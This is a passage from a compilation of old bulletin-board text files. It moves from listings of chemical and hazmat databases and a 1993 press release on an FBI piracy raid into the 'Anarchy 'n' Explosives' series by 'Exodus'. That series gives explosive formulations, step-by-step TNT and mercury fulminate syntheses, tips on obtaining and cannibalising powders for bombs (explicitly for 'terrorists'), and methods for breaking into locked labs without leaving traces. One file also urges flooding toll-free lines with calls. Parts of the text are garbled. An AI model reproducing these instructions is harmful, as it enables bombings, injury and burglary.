Administration's (RSPA) project offers quick access to both exemptions +information and informal interpretations. The exemptions menu provides access to the following: exemption numbers, exemption holders, +expiration dates, container type and DOT specification, hazardous material, shipping name and class, and regulations affected. The +interpretations menu provides access to informal interpretations issued by the Standards Division, Office of Hazardous Materials +Transportation. Each search provides: requester, subject, commodity, container and regulations affected. This service is provided FREE to +state, local, and federal agencies. Private sector organizations cannot get an account on the HMIS but can call to receive printouts on +information they need (there is a fee for the printout). In order to gain access to the HMIS you must FIRST ESTABLISH AN ACCOUNT by +contacting: +Lessie Graves +Office of Hazardous Materials Transportation +Information Services Unit +FTS/COMM: (202) 366-4555 +Occupational Safety and Health Administration's (OSHA) Computerized Information System (OCIS) is designed to aid OSHA, State OSHA +Program, and OSHA Area Office staff in responding to employers' and employees' occupational safety and health problems by maintaining +quick access to various computerized information files. OCIS files are maintained on a Digital Vax 11/750 computer at the Salt Lake City +Laboratory; BASIS is the database management software; system is accessed from OSHA and State Program offices only; files are menu +driven; and new capabilities are under development. +Questions and comments can be directed to: +OCIS Help Desk +(801) 524-5366 or 524-5896 +FTS 588-5366 or 588-5896 +The National Library of Medicine's (NLM) Toxicology Data Network (TOXNET) is a computerized system of toxicologically oriented data banks, +offering a sophisticated search and retrieval package which permits efficient access to information on known chemicals and identifies +unknown chemicals based on their characteristics. TOXNET files include: Hazardous Substances Data Bank (HSDB), Toxicology Data Bank +(TDB), and Chemical Carcinogenesis Research Information ,System (CCRIS). +Registered NLM users can access TOXNET by direct dial or through TELENET or TYMNET telecommunications networks. The nations average +search charges (per hour) are $75.00 for prime time. +For detailed information on TOXNET contact: +National Library of Medicine +Specialized Information Services +Biomedical Files Implementation Branch +8600 Rockville Pike +Bethesda, MD 20894 +(301) 496-6531 or 496-1131 +COMMERCIAL AND PRIVATE ONLINE DATABASES +FIREDOC: Nations available From NBS +The Center for Fire Research in the National Bureau of Standards has made its computerized bibliographic system, FIREDOC, available for +searching on-line. The system can be accessed by telephone using a computer as a terminal. About 7,000 items from the Center's collection +are currently entered in the FIREDOC system. For further information including instructions on access and use of FIREDOC, contact: +Nora Jason +Technical Information Specialist +Center for Fire Research +(301) 975-6862 +CFRBBS is a public access computer bulletin board sponsored by: the Center for Fire Research, National Bureau of Standards, US Department +of Commerce, in Gaithersburg, MD 20899. It features computer programs developed by the Center of Fire Research. Contents of the board +include: fire simulation programs, information on FIREDOC (the Center for Fire Research bibliographic search system; FIREDOC users guide; +and FIREDOC compatible communications package), information on upcoming activities at the Center for Fire Research, and a listing of the most +recent year's reports from the center. There is no connect fee for using the board; however the user pays for the phone call. For more +information contact Doug Walton, System Operator, at (301) 975-6872. +Public Health Foundation's Public Health Network (PHN) users have full access to all GTE Medical Information Network (MINET) services, and +can communicate directly with users in PHN and other divisions of MINET. Access to Surgeon General, NLM/NIH, CDC, and American Medical +Association information services (e.g., Disease Information, Drug Information, Medical Procedure Coding, Socioeconomic Bibliography, Expert +Medical Physician Information Retrieval and Education Service, Massachusetts General Hospital (MGH) Continuing Medical Education, and AP +Medical News Service) are available ranging in price from $21 to $39 an hour of connect time. +Subscription fee, payable on a one-time basis is $500.00, each additional user is registered at $25.00, and a User's Guide costs $15.00. +Connect time rates range from $14 an hour peak to $7 an hour off-peak, character transmission charges are $.05 per 1,000 characters. +For detailed information on PHN or MINET contact: +The Public Health Foundation +1220 L Street, NW +Suite 350 +Washington, DC 20005 +(202) 898-5600 +Information Consultants, Inc.'s Chemical Information System (ICIS) and Chemical Information System, Inc.'s (Fein Marquart Associates) System +(CIS) are two competing companies which offer approximately 35 databases each, some similar, others different. Databases available for +searching include, for example: Oil and Hazardous Materials Technical Assistance Data System (OHMTADS) with emphasis on environmental +and safety data for spills response; Chemical Evaluation Search and Retrieval (CEASARS) gives very detailed, evaluated profiles with physical +and chemical, toxicological and environmental information; NIOSH Registry of Toxic Effects of Chemical Substances (RTECS) with acute +toxdata, TLV's, standards, aquatic tox, regulatory information, and NTP test status; Chemical Carcinogensis Research Information System +(CCRIS) giving results of carcinogenicity, mutagenicity, tumor promotion and carcinogenicity tests under National Cancer Institute contract; +GENETOX with genetic assay studies; AQUIRE with aquatic toxicity information; DERMAL with dermal toxicity information. +Subscriber ($300 per year and $25-85 per hour of connect time) and nonsubscriber ($50-115 per hour connect time) options exist. +For detailed information contact: +CIS, Inc. or Information Consultants, Inc. +Fein Marquart Associates 1133 15th St., NW +7215 York Road Washington, DC 20005 +Baltimore, MD 21212 (202) 822-5200 +(800) 247-8737 +180. ANARCHY 'N' EXPLOSIVES - VOLUME 1 by Exodus +You may ask "Now why would I want to know some obsolete, unused, utterly useless, toll free numbers" Well, what you use this information +for is up to you, and if you want to use it for some thing like... well, like, forcing that line to be busy for 2 straight days thus causing the +company to lose money, is completely up to you. +Magazines +=-=-=-=-= +Playgirl Advisor (800) 854-2878 (except CA) +TV Guide (800) 523-7933 (except PA) +Ladie's Home Journal (800) 327-8351 (except FA) +Sports Illustrated (800) 621-8200 (except IL) +Book Digest Magazine (800) 228-9700 (except Nebraska) +Money (800) 621-8200 (except IL) +Mail Order +=-=-=-=-=- +(bowling equip.) (800) 323-1812 (except IL) +Edd the Florist, Inc. (800) 247-1075 (except IA) +Golf Mail Order Co. (800) 327-1760 (except FA) +Inflate-a-bed (800) 835-2246 (except KS) +International Male (800) 854-2795 (except CA) +Porta Yoga (c.c. orders)(800) 327-8912 (except FA) +Unique Products Co. (800) 228-2049 (except Nebraska) +Ski Resorts +=-=-=-=-=-= +HN Concord (800) 431-2217 (only New England States) +Mt. Snow (800) 451-4211 (Eas orrn Seabord) +Ski Us at Franconia (800) 258-0366 (Eastern Seabord) +Stevensville (800) 431-2211 (New England States) +Mannequins +=-=-=-=-=- +Dann-Dee (800) 621-3904 (except IL) +Car Rentals +=-=-=-=-=-= +A-Aaron, Inc. (800) 327-7513 (except FA) +Airlines Rent-A/Car (800) 228-9650 (FA only) +Dollar-A-Day (800) 421-6868 (except FA) +Hertz (800) 261-1311 (Canada only) +Sears Rent-A-Car (800) 228-2800 (except Nebraska) +Thrifty Rent-A-Car (800) 331-4200 (except Oklahoma) +Newspapers +=-=-=-=-=- +Globe Gazette (800) 392-6622 (IA only) +Oil Daily (800) 223-6635 (except NY) +Christian Science Motor (800) 225-7090 (except MS) +Wall Street Journal (800) 257-0300 (except NJ) +The National Observer (800) 325-5990 (except MO) +FBI raids major Ohio computer bulletin board; action follows joint investigation with SPA. +The Federation Bureau of Investigation on Saturday, Jan. 30, 1993, raided "Rusty & Edie's," a computer bulletin board located in Boardman, +Ohio, which has allegedly been illegally distributing copyrighted software programs. Seized in the raid on the Rusty & Edie's bulletin board were +computers, hard disk drives and telecommunications equipment, as well as financial and subscriber records. For the past several months, the +Software Publishers Association ("SPA") has been working with the FBI in investigating the Rusty & Edie's bulletin board, and as part of that +investigation has downloaded numerous copyrighted business and entertainment programs from the board. +The SPA investigation was initiated following the receipt of complaints from a number of SPA members that their software was being illegally +distributed on the Rusty & Edie's BBS. The Rusty & Edie's bulletin board was one of the largest private bulletin boards in the country. It had 124 +nodes available to callers and over 14,000 subscribers throughout the United States and several foreign countries. To date, the board has +logged in excess of 3.4 million phone calls, with new calls coming in at the rate of over 4,000 per day. It was established in 1987 and had +expanded to include over 19 gigabytes of storage housing over 100,000 files available to subscribers for downloading. It had paid subscribers +throughout the United States and several foreign countries, including Canada, Luxembourg, France, Germany, Finland, the Netherlands, Spain, +Sweden and the United Kingdom. +A computer bulletin board allows personal computer users to access a host computer by a modem-equipped telephone to exchange +information, including messages, files, and computer programs. The systems operator is generally responsible for the operation of the bulletin +board and determines who is allowed to access the bulletin board and under what conditions. For a fee of $89.00 per year, subscribers to the +Rusty & Edie's bulletin board were given access to the board's contents including many popular copyrighted business and entertainment +packages. Subscribers could "download" or receive these files for use on their own computers without having to pay the copyrighted owner +anything for them. +"The SPA applauds the FBI's action today," said Ilene Rosenthal, general counsel for the SPA. "This shows that the FBI recognizes the harm +that theft of intellectual property causes to one of the US�s most vibrant industries. It clearly demonstrates a trend that the government +understands the seriousness of software piracy." The SPA is actively working with the FBI in the investigation of computer bulletin boards, +and similar raids on other boards are expected shortly. Whether it's copied from a program purchased at a neighborhood computer store or +downloaded from a bulletin board thousands of miles away, pirated software adds to the cost of computing. According to the SPA, in 1991, +the software industry lost $1.2 billion in the US alone. Losses internationally are several billion dollars more. +"Many people may not realize that software pirates cause prices to be higher, in part, to make up for publisher losses from piracy," says Ken +Wasch, executive director of the SPA. In addition, they ruin the reputation of the hundreds of legitimate bulletin boards that serve an important +function for computer users." The Software Publishers Association is the principal trade association of the personal computer software +industry. It's over 1,000 members represent the leading publishers in the business, consumer and education software markets. The SPA has +offices in Washington DC, and Paris, France. +CONTACT: Software Publishers Association, Washington +Ilene Rosenthal.. 202/452-1600 Ext. 318 +Terri Childs..... 202/452-1600 Ext. 320 +181.ANARCHY 'N' EXPLOSIVES - VOLUME 2 by Exodus +This volume defines a few varieties of misc. explosives, charges, and whatever I had in mind at that time. Anyway, these formulas are not as +precise in measurements for they were given in brief summary. However, they will work, and if used correctly can be safe and "fun". +FRENCH AMMONAL [Low Explosive]: +Ingredients: + 86% Ammonium Nitrate + 6% Stearic Acid + 8% Aluminum Powder +Description: +French ammonal is an easily improvised low explosive mixture. It is generally less effective than an equal weight of TNT. The material is loaded +by pressing it into a suitable container. Initiation by an Engineer's special blasting cap is recommended. +Comments: +This material was tested. It is effective. +References: +TM 31-201-1, Unconventional Warfare Devices and Techniques, para 1401. +TETRYTOL [High Explosive]: +Ingredients: + 75% Tetrytol + 25% TNT +Description: +Tetrytol is a high explosive bursting charge. It is used as a demolition explosive, a bursting charge for mines, and in artillery shells. The +explosive force of tetrytol is approximately the same as that of TNT. It may be initiated by a blasting cap. Tetrytol is usually loaded by casting. +Comments: +This material was tested. It is effective. +References: +TM 9-1900; Ammunition, General, page 55. Military Explosives, page 188. +IMPROVISED PLASTIC EXPLOSIVE FILLER [High Explosive]: +Ingredients: + Finely Powdered Potassium Chlorate + Cdata bstals + Petroleum Jelly + **MIX THOUROUGHLY** +Description: +This plastic explosive filler can be detonated with a No. 8 commercial blasting cap or with any military blasting cap. The explosive must be +stored in a waterproof container until ready to use. +Comments: +This material was tested. It is effective. +References: +TM 31-210, Improvised Munitions, sec I, No. 1. +FLAMMABILITY OF GASES [Gas Explosive]: +Ingredients: + Explosive Gas +Description: +Under some conditions, common gases act as fuel. When mixed with air, they will burn rapidly or even explode. For some fuel-air mixtures, the +range over which the explosion can occur is quite wide while for others the limits are narrow. The upper and lower amounts of common fuels +that will cause an ignitable mixture are shown in the table below. The quantity shown is the percentage by volume of air. If the fuel-air mixture +is too lean or too rich, it will not ignite. The amounts shown are therefore called limits of inflammability. +Gases (% by volume of air) +Fuel (Gas) Lower Limit Upper Limit +Water Gas Or Blue Gas 7.0 72 +Natural Gas 4.7 15 +Hydrogen 4.0 75 +Acetylene 2 81 +Propane 2.2 10 +Butane 1.9 9 +Comments: +These fuels have been tested under laboratory conditions. They are effective. Ignition depends on method of initiation, uniformity of mixture, +and physical conditions. +References: +Bulletin 29, Limits of Inflammability of Gases and Vapors H.F. Coward and G.W. Jones, Bureau of Mines, US Government Printing Office, 1939. +182.ANARCHY 'N' EXPLOSIVES - VOLUME 3 by Exodus +This is the MOST important or one of the most important volumes regarding the various mixtures of anarchy that I will be "publishing" to the +"public". Also, it may as well be the MOST DANGEROUS to prepare, the substance we will be dealing with is Trinitrotoluene, or short - TNT. +This high explosive is a VERY DANGEROUS, slightly unstable substance. The crystallized crude TNT is about the color of brown sugar and +feels greasy to the touch. It is suitable for many uses as a high-explosive, but not for the use in high-explosive shells. It is also highly reactive +to many other chemical substances. It can be incorporated into dynamite and many other explosives that will be explained in further detail later, +in other volumes of ANARCHY. +WARNING: +DO NOT ATTEMPT TO FINISH THIS PROJECT UNLESS YOU ARE FULLY CAPABLE SAFELY EXECUTING THE PROCESSES IN A SAFE +ENVIRONMENT! IF YOU CHOOSE TO CONTINUE, READ THE INSTRUCTIONS COMPLETELY THROUGH BEFORE BEGINNING AND HAVE ALL +MATERIALS AND TOOLS (INCLUDING SAFETY/EMERGENCY EQUIPMENT) READY FOR USE WHEN OR IF THEY ARE NEEDED. THIS IS NOT A +JOKE! USE AT YOUR OWN RISK!!!!! +Preparation of Trinitrotoluene (Three Stages). A mixture of 294 grams of concentrated sulfuric acid (density 1.84) and 147 grams of nitric acid +(density 1.42) is added slowly from a dropping funnel to 100 grams of toluene in a tall 600-cc. beaker, while the liquid is stirred vigorously with +an electric stirrer and it's temperature is maintained at 30�C to 40�C by running cold water in the vessel in which the beaker is standing. The +addition of acid will require from an hour to an hour and a half. The stirring is then continued for half an hour longer without cooling; the mixture +is allowed to stand over night in a separatory funnel; the lower layer of spent acid is drawn off; and the crude mononitrotoluene is weighed. +One-half of it, corresponding to 50 grams of toluene, is taken for the dinitration. The mononitrotoluene (MNT) is dissolved in 109 grams of +concentrated sulfuric acid (d. 1.84) while the mixture is cooled in running water. The solution in a tall beaker is warmed to 50 and a mixed +acid, composed of 54 grams each of nitric acid (d. 1�0) and sulfuric acid (d. 1.84), is added slowly drop by drop from a dropping funnel while +the mixture is stirred mechanically. The heat generated by the reaction raises the temperature, and the rate of addition of the acid is regulated +so that the temperature of the mixture lies always between 90 and 100�. The addition of the acid will require about 1 hour. After the acid has +been added, the mixture is stirred for 2 hours longer at 90�-100 to complete the nitration. Two layers separate on standing. The upper layer +consists largely of dinitrotoluene (DNT), but probably contains a certain amount of TNT. The trinitration in the laboratory is conveniently carried +out without separating the DNT from the spent acid. +While the dinitration mixture is stirred actively at a temperature of about 90�, 145 grams of fuming sulfuric acid (petroleum containing 15% free +SO3) is added slowly by pouring from a beaker. A mixed acid, composed of 72 grams each of nitric acid (d. 1�0) and the 15% petroleum, is +now added drop by drop with good agitation while the heat of the reaction maintains the temperature at 100-115�. After about three-quarters +of the acid has been added, it will be found necessary to apply external heat to maintain the temperature. After all the acid has been added +(taking 1 to 2 hours), the heating and stirring are continued for 2 hours longer at 100-115�. After the material has stood overnight, the upper +TNT layer will be found to have solidified to a hard cake, and the lower layer of spent acid to be filled with cdata bstals. The acid is filtered +through a Buchner funnel (without filter paper), and the cake is broken up and washed with water on the same filter to remove excess of acid. +The spent acid contains considerable amounts of TNT in solution; this is precipitated by pouring the acid into a large volume of water, filtered +off, rinsed with water, and added to the main batch. All the of the product is washed three or four times by agitating it vigorously with hot +water under which it is melted. After the last washing, the TNT is granulated by allowing it to cool slowly under hot water while the stirring is +continued. The product, filtered off and dried at ordinary room temperature, is equal to a good commercial sample of crude TNT. It may be +purified by dissolving in warm alcohol at 60 and allowing to cool slowly, or it may be purified by digesting with 5 times its weight of 5% sodium +hydrogen sulfite solution at 90 for half an hour with vigorous stirring, washing with hot water until the washings are colorless, and finally +granulating as before. The product of this last treatment is equal to a good commercial sample of purified TNT. Pure ALPHA -TNT, melting point +80.8�, may be procured by recrystallizing this material once from nitric acid (d. 1.42) and once from alcohol. +Well, that's it... AND REMEMBER MY WARNING! +183.ANARCHY 'N' EXPLOSIVES - VOLUME 4 by Exodus +In this particular volume, we will be discussing types of Dynamite, these high-explosives being one of the more important or destructive of the +anarchist's formulas. Note that some of these mixtures are very unstable or shock ignited, and that care should be observed when handling +these unstable mixtures. Some of these formulae deal with Trinitrotoluene (TNT) and the preparation for that is given under the volume 3, within +this series. +WARNING: +THESE ARE REAL EXPLOSIVES AND MAY CAUSE SERIOUS INJURY OR DEATH UPON MISUSE. DO NOT ATTEMPT TO PREPARE ANY AS +SAMPLE IF YOU ARE NOT FULLY CAPABLE OF UNDERSTANDING THE DANGERS AND PRECAUTIONS OF THESE PRODUCTS. THESE +FORMULAE ARE THE TRUE FORMULAE TO CREATE THESE MIXTURES AND ARE THEREFORE VERY DANGEROUS. USE AT YOUR OWN RISK!!! +Guhr Dynamite: +Ingredients + 1 part Kieselguhr + 3 parts Nitroglycerin +Description +This dynamite is primarily used in blasting. It is fairly stable, in the drop test, it exploded by the fall of a 1 kg weight through 12 to 15 cm., or by +the fall of a 2 kg weight through 7 cm. The frozen material is less sensitive: a drop of more than 20 cm. with a 1 kg weight is needed to explode +it, and the 2 kg weight is necessary to explode it. Frozen or unfrozen, it can be detonated by shooting at it with a military rifle, when held in a +paper cartridge. Generally, it is detonated with a steel-on-steel blow. Velocity of detonation vary from 6650 to 6800 meters per second at a +density loading of 1�0. +Extra-Dynamite: +FORMULA 1 FORMULA 2 +71% Nitroglycerin 62% Ammonium Nitrate +23% Ammonium Nitrate 25% Nitroglycerin +4% Collodion 12% Charcoal +2% Charcoal 1% Collodion +Description: +This material is crumbly and plastic between the fingers. This material can be detonated with any detonating cap. +Table Of Dynamite Formulae: +INGREDIENT STRENGTH +15% 20% 25% 30% 35% 40% 45% 50% 55% 60% +Nitroglycerin 15% 20% 25% 30% 35% 40% 45% 50% 55% 60% +Combustible Material 20% 19% 18% 17% 16% 15% 14% 14% 15% 16% +Sodium Nitrate 64% 60% 56% 52% 48% 44% 40% 35% 29% 23% +Calcium or Magnesium Carbonate 1% 1% 1% 1% 1% 1% 1% 1% 1% 1% +Table Of More Dynamite Formulae: +INGREDIENT STRENGTH +ORDINARY LOW FREEZING +30% 35% 40% 50% 60% 30% 35% 40% 50% 60% +Nitroglycerin 15% 20% 22% 27% 35% 13% 17% 17% 21% 27% +Nitrosubstitution Compounds 0% 0% 0% 0% 0% 3% 4% 4% 5% 6% +Ammonium Nitrate 15% 15% 20% 25% 30% 15% 15% 20% 25% 30% +Sodium Nitrate 51% 48% 42% 36% 24% 53% 49% 45% 36% 27% +Combustible Material 18% 16% 15% 11% 10% 15% 14% 13% 12% 9% +Calcium Carbonate or Zinc Oxide 1% 1% 1% 1% 1% 1% 1% 1% 1% 1% +Master Table Of Dynamites: +INGREDIENT FORMULA +1 2 3 4 5 6 7 8 9 10 11 12 +Ammonium Nitrate 52 53 60 61 66 73 78 83 0 0 0 0 +Potassium Nitrate 21 0 0 0 0 2.8 5 7 30 34 0 0 +Sodium Nitrate 0 12 5 3 0 0 0 0 0 0 30 24� +Barium Nitrate 0 0 0 0 0 0 0 2 4 1 0 0 +Na or K Chloride 0 0 21 20 22 15 8 0 0 0 0 0 +Hyd Ammonium Oxalate 16 19 0 0 0 0 0 0 0 0 0 0 +Ammonium Chloride 6 0 0 0 0 0 0 0 0 0 0 0 +Cereal or Wood Meal 0 4 4 7 2 1 5 2 0 38 39 40� +Glycerin 0 0 0 4 0 0 0 0 0 0 0 0 +Spent Tan Bark Meal 0 0 0 0 0 0 0 0 40 1 0 0 +Potassium Dichromate 0 0 0 0 0 0 0 0 0 0 5 5 +Sodium Carbonate 0 0 0 0 0 0 0 0 0 0 +Powdered Coal 0 0 0 0 4 0 0 0 0 0 0 0 +Nitrotoluene 0 0 6 1 0 0 0 0 0 0 0 0 +Dinitrotoluene 0 0 0 0 0 5 0 0 0 0 0 0 +Trinitrotoluene 0 6 0 0 0 0 0 2 0 0 0 0 +Nitroglycerin 5 5 4 4 4 3.2 4 4 25 25 25 30 +All measurements in percents +Well, that's it for now... have fun.... hehehehehe! USE AT YOUR OWN RISK!!!! +184.ANARCHY 'N' EXPLOSIVES - VOLUME 5 by Exodus +Well, hasn't it been long since Volume 4 of Anarchy 'n' Explosives? Well, I finally got around to typing up another volume. This one will be +dedicated to the extremely simple and more accessible explosives and incendiaries to be prepared at home, or laboratory; depending upon the +environment you have access to or are accustomed to. +For further information and/or comments on this series of ever popular explosives, contact me (I don't sign these "publications") on the +Knavery BBS at xxx-xxx-xxxx on the public message base, I should be reading some requests if you leave them. And, volume number 6 +should be coming out sooner than the time between 4 and 5, but don't count on it. +BULK POWDERS: +Bulk powders are types of gunpowder consisting of nitrocellulose and a mixture of other chemically explosive solutions. These nitrocellulose +fibers are stuck together, but are not completely collided. Some contain little else but nitrocellulose; others contain, in addition to potassium and +barium nitrates, camphor, vaseline, paraffin, lampblack, starch, dextrin, potassium dichromate or other oxidizing or deterrent salts, and +diphenylamine for stabilization, and are colored in a variety of brilliant hues by means of coltar dyes. Three typical bulk powders are made up +according to the approximate formulas tabulated below: +Nitrocellulose 84.0 87.0 89.0 +% N in nitrocellulose 13.2 12.9 12.9 +Potassium nitrate 7 6.0 6.0 +Barium nitrate 7 2.0 3.0 +Starch 0.0 0.0 1.0 +Paraffin oil 0.0 4.0 0.0 +Diphenylamine 1.0 1.0 1.0 +The mixture is mixed in warm water and dried thoroughly. Then either granulated or made into powder by crushing with a wooden block and +screened through a 12-mesh sieve. The material is then stored in a moisture-resistant container for future or immediate use. +MERCURY FULMINATE: +Mercury fulminate is an initiating explosive, commonly appearing as white or gray crystals. It is extremely sensitive to initiation by heat, friction, +spark or flame, and impact. It detonates when initiated by any of these means. It is pressed into containers, usually at 3000 psi, for use in +detonators and blasting caps. However, when compressed at greater and greater pressure (up to 30,000 psi), it becomes "dead pressed." In +this condition, it can only be detonated by another initial detonating agent. Mercury fulminate gradually becomes inert when stored continuously +above 100�F. A dark colored product of deterioration gives evidence of this effect. Mercury exfulminate is stored underwater except when +there is danger of freezing. Then it is stored under a mixture of water and alcohol. +Preparation of Mercury Fulminate. Five grams of mercury is added Ext 55 cc. of nitric acid (specific gravity 1.42) in a 100-cc. Erlenmeyer flask, +and the mixture is allowed to stand without shaking until the mercury has gone into solution. The acid liquid is then poured into 50 cc. of 90% +alcohol in a 500-cc. beaker in the hood. The temperature of the mixture rises, a vigorous reaction commences, white fumes come off, and +cdata bstals of fulminate soon begin to precipitate. Red fumes appear and the precipitation of the fulminate becomes more rapid, then white +fumes again as the reaction moderates. After about 20 minutes, the reaction is over; water is added, and the cdata bstals are washed with +water repeatedly by decantation until the washings are no longer acid to litmus. The product consists of grayish-yellow cdata bstals, and +corresponds to a good grade of commercial fulminate. It may be obtained white and entirely pure by dissolving in strong ammonia water, +filtering, and reprecipitating by the addition of 30% acetic acid. The pure fulminate is filtered off, washed several times with cold water, and +stored under water, or, if a very small amount is desired for experimental purposes, it is dried in a desiccator. +AMATOL: +Description: amatol is a high explosive, white to buff in color. It is a mixture of ammonium nitrate and TNT, with a relative effectiveness slightly +higher than that of TNT alone. Common compositions vary from 80% ammonium nitrate and 20% TNT to 40% ammonium nitrate and 60% TNT. +Amatol is used as the main bursting charge in artillery shells and bombs. Amatol absorbs moisture and can form dangerous compounds with +copper and brass. Therefore, it should not be housed in containers of such metals. +BLACK POWDERS: +Black powders burn either quickly or very slowly depending on the composition of such a mixture; however, these powders produce smoke, +often great amounts, and is most useful in applications where smoke is no object. It is the best for communicating fire and for producing a +quick, hot flame. Black powder is used in both propellant charges for shrapnel shells, in saluting and blank fire charges, as the bursting charge +of practice shells and bombs, as a propelling charge in certain pyrotechnic pieces, and, either with or without the admixture of other +substances which modify the rate of burning, in the time -train rings and in other parts of fuses. Below is a list of black powders and their +compositions. +Name Saltpeter (Brown) Charcoal Sulfur +England 79 (18) 3 +England 77.4 (17.6) 5 +Germany 78 (19) 3 +Germany 80 (20) 0 +France 78 (19) 3 +Forte 72 15 13 +Lente 40 30 30 +Ordinaire 62 18 20 +185.Explosives and Propellants by Exodus +Almost any city or town of reasonable size has a gun store and one or more pharmacies. These are two of the places that potential terrorists +visit in order to purchase explosive material. All that one has to do is know something about the non- explosive uses of the materials. Black +powder, for example, is used in blackpowder firearms. It comes in varying "grades", with each different grade being a slightly different size. +The grade of black powder depends on what the caliber of the gun that it is used in; a fine grade of powder could burn too fast in the wrong +caliber weapon. The rule is: the smaller the grade, the faster the burn rate of the powder. +BLACK POWDER +Black powder is generally available in three grades. As stated before, the smaller the grade, the faster the powder burns. Burn rate is +extremely important in bombs. Since an explosion is a rapid increase of gas volume in a confined environment, to make an explosion, a quickburning +powder is desirable. The three common grades of black powder are listed below, along with the usual bore width (caliber) of what +they are used in. Generally, the fastest burning powder, the FFF grade is desirable. However, the other grades and uses are listed below: +GRADE BORE WIDTH EXAMPLE OF GUN +F �0 or Greater Model Cannon; some Rifles +FF .36 - �0 Large Pistols; Small Rifles +FFF .36 or Smaller Pistols; Derringers +The FFF grade is the fastest burning, because the smaller grade has more surface area or burning surface exposed to the flame front. The +larger grades also have uses which will be discussed later. The price range of black powder, per pound, is about $8�0 - $9.00. The price is +not affected by the grade, and so one saves oneself time and work if one buys the finer grade of powder. The major problems with black +powder are that it can be ignited accidentally by static electricity, and that it has a tendency to absorb moisture from the air. To safely crush it, +a one would use a plastic spoon and a wooden salad bowl. Taking a small pile at a time, he or she would apply pressure to the powder +through the spoon and rub it in a series of strokes or circles, but not too hard. It is fine enough to use when it is about as fine as flour. The +fineness, however, is dependent on what type of device one wishes to make; obviously, it would be impractical to crush enough powder to fill +a 1 foot by 4 inch radius pipe. Any adult can purchase black powder, since anyone can own black powder firearms in the United States. +PYRODEX +Pyrodex is a synthetic powder that is used like black powder. It comes in the same grades, but it is more expensive per pound. However, a +one pound container of pyrodex contains more material by volume than a pound of black powder. It is much easier to crush to a very fine +powder than black powder, and it is considerably safer and more reliable. This is because it will not be set off by static electricity, as black can +be, and it is less inclined to absorb moisture. It costs about $10.00 per pound. It can be crushed in the same manner as black powder, or it can +be dissolved in boiling water and dried. +ROCKET ENGINE POWDER +One of the most exciting hobbies nowadays is model rocketry. Estes is the largest producer of model rocket kits and engines. Rocket engines +are composed of a single large grain of propellant. This grain is surrounded by a fairly heavy cardboard tubing. One gets the propellant by +slitting the tube length- wise, and unwrapping it like a paper towel roll. When this is done, the gray fire clay at either end of the propellant grain +must be removed. This is usually done gently with a plastic or brass knife. The material is exceptionally hard, and must be crushed to be used. +By gripping the grain in the widest setting on a set of pliers, and putting the grain and powder in a plastic bag, the powder will not break apart +and shatter all over. This should be done to all the large chunks of powder, and then it should be crushed like black powder. Rocket engines +come in various sizes, ranging from 1/4 A-2T to the incredibly powerful D engines. The larger the engine, the more expensive. D engines come +in packages of three, and cost about $5.00 per package. Rocket engines are perhaps the single most useful item sold in stores to a terrorist, +since they can be used as is, or can be cannibalized for their explosive powder. +RIFLE/SHOTGUN POWDER +Rifle powder and shotgun powder are really the same from a practical standpoint. They are both nitrocellulose based propellants. They will be +referred to as gunpowder in all future references. Smokeless gunpowder is made by the action of concentrated nitric and sulfuric acid upon +cotton or some other cellulose material. This material is then dissolved by solvents and then reformed in the desired grain size. When dealing +with smokeless gunpowder, the grain size is not nearly as important as that of black powder. Both large and small grained smokeless powder +burn fairly slowly compared to black powder when unconfined, but when it is confined, gunpowder burns both hotter and with more gaseous +expansion, producing more pressure. Therefore, the grinding process that is often necessary for other propellants is not necessary for +smokeless powder. Powder costs about $9.00 per pound. In most states any citizen with a valid driver's license can buy it, since there are +currently few restrictions on rifles or shotguns in the US There are now ID checks in many states when purchasing powder at a retail outlet. +Mail-orders aren't subject to such checks. Rifle powder and pyrodex may be purchased by mail order, but UPS charges will be high, due to +DOT regulations on packaging. +186.Lockpicking III by Exodus +If it becomes necessary to pick a lock to enter a lab, the world's most effective lockpick is dynamite, followed by a sledgehammer. There are +unfortunately, problems with noise and excess structural damage with these methods. The next best thing, however, is a set of professional +lockpicks. +These, unfortunately, are difficult to acquire. If the door to a lab is locked, but the deadbolt is not engaged, then there are other possibilities. The +rule here is: if one can see the latch, one can open the door. There are several devices which facilitate freeing the latch from its hole in the +wall. Dental tools, stiff wire ( 20 gauge ), specially bent aluminum from cans, thin pocket knives, and credit cards are the tools of the trade. The +way that all these tools and devices are uses is similar: pull, push, or otherwise move the latch out of its recess in the wall, thus allowing the +door to open. This is done by sliding whatever tool that you are using behind the latch, and forcing the latch back into the door. +Most modern doorknob locks have two fingers. The larger finger holds the door closed while the second (smaller) finger only prevents the first +finger from being pressed in when it (the second finger) is pressed in by the catchplate of the door. If you can separate the catch plate and +the lock sufficiently far, the second finger will slip out enough to permit the first finger to be slipped. +(Ill. 2.11) ___ +| } < +Small -> (| } <--- The large (first) finger +second |___} < +finger +Some methods for getting through locked doors are: +1.Another method of forced entry is to use an automobile jack to force the frame around the door out of shape, freeing the latch or exposing it +to the above methods. This is possible because most door frames are designed with a slight amount of "give". Simply put the jack into +position horizontally across the frame in the vicinity of the latch, and jack it out. If the frame is wood it may be possible to remove the jack +after shutting the door, which will relock the door and leave few signs of forced entry. This technique will not work in concrete block +buildings, and it's difficult to justify an auto jack to the security guards. +2.Use a screwdriver or two to pry the lock and door apart. While holding them apart, try to slip the lock. Screwdrivers, while not entirely +innocent, are much more subtle than auto jacks, and much faster if they work. If you're into unsubtle, I suppose a crowbar would work +too, but then why bother to slip the lock at all? +3.Find a set of double doors. They are particularly easy to pry apart far enough to slip. +4.If the lock is occasionally accessible to you while open, "adjust" or replace the catchplate to make it operate more suitably (i.e., work so that it +lets both fingers out, so that it can always be slipped). If you want, disassembling the lock and removing some of the pins can make it +much easier to pick. +5.If, for some odd reason, the hinges are on your side (i.e., the door opens outward), remove the hinge pins, provided they aren't stopped with +welded tabs. Unfortunately, this too lacks subtlety, in spite of its effectiveness. +6.If the door cannot be slipped and you will want to get through regularly, break the mechanism. Use of sufficient force to make the first finger +retreat while the second finger is retreated will break some locks (e.g., Best locks) in such a way that they may thereafter be slipped +trivially, yet otherwise work in all normal ways. Use of a hammer and/or screwdriver is recommended. Some care should be used not to +damage the door jamb when attempting this on closed and locked doors, so as not to attract the attention of the users or owners or +locksmith or police exc. +7.Look around in desks. People very often leave keys to sensitive things in them or other obvious places. Especially keys to shared critical +resources, like supply rooms, that are typically key -limited but that everyone needs access to. Take measurements with a micrometer, or +make a tracing (lay key under paper and scribble on top), or be dull and make a wax impression. Get blanks for the key type (can be very +difficult for better locks; I won't go into methods, other than to say that if you can get other keys made from the same blank, you can often +work wonders with a little ingenuity) and use a file to reproduce the key. Using a micrometer works best: keys made 